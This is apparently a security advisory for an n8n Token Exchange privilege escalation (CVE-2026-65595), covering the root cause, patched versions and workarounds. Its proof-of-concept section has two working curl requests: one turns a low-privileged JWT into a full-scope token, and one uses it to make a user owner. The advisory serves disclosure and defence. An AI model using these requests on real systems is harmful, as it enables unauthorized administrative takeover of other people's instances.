CVE-2026-65595: n8n Token Exchange Privilege Escalation via Full API Scope Assignment
A low-privileged user with a valid external JWT can obtain a token exchange access token that carries every Public API scope, allowing them to perform admin-only actions like creating users, deleting…
The problem
n8n's Token Exchange module (POST /auth/oauth/token, RFC 8693) issued internal JWTs preloaded with all Public API key scopes, regardless of the requesting user's actual role.
A low-privileged user who could get any external JWT accepted by a configured trusted issuer could exchange it for a full-scope bearer token and call administrator-only Public API operations: role escalation, user creation, user deletion, and community package installation.
Proof of concept
A working proof-of-concept for CVE-2026-65595 in n8n, with the exact payload below.
# Step 1: exchange a low-privileged external JWT for an n8n bearer token
curl -s -X POST https://n8n.example.com/auth/oauth/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange' \
-d 'subject_token=<VALID_EXTERNAL_JWT>' \
-d 'subject_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Ajwt'
# Response contains access_token with ALL public API scopes
# Step 2: use the full-scope token to escalate a member to owner (admin-only)
curl -s -X PATCH https://n8n.example.com/api/v1/users/<TARGET_USER_ID>/role \
-H 'Authorization: Bearer <ACCESS_TOKEN_FROM_STEP_1>' \
-H 'Content-Type: application/json' \
-d '{"newRoleName": "global:owner"}'The root cause is that the token exchange service populated the issued JWT's scope claim with the full set of Public API key scopes unconditionally, never intersecting them with the scopes the user's actual role is permitted to hold (CWE-269: Improper Privilege Management).
The patch in 2.30.1 derives the scope list from the resolved user's role before signing the internal JWT, so a member-role user only receives member-level scopes. This means the exchanged token can no longer authorize admin endpoints even when the subject_token itself is fully valid.
The fix
Upgrade to n8n 2.30.1 or 2.29.8. If immediate upgrade is not possible: set N8N_TOKEN_EXCHANGE_ENABLED=false or N8N_ENV_FEAT_TOKEN_EXCHANGE=false to disable the feature entirely. If token exchange must stay on, restrict Public API access at the network level to trusted clients only, and set N8N_UNVERIFIED_PACKAGES_ENABLED=false to close the code execution path via community packages.
Reported by Jubke.
Related research
- highCVE-2026-86083CVE-2026-86083: n8n Expression Sandbox Escape via JSON.stringify Hijacking
- highCVE-2026-86082CVE-2026-86082: n8n OpenAI Chat Model Node SSRF via Unguarded Model-Search Endpoint
- highCVE-2026-86076CVE-2026-86076: n8n Expression Sandbox Escape via Class-Field Sanitizer Rebinding
- highCVE-2026-86075CVE-2026-86075: n8n Unauthenticated Persistent Storage Exhaustion via OAuth Dynamic Client Registration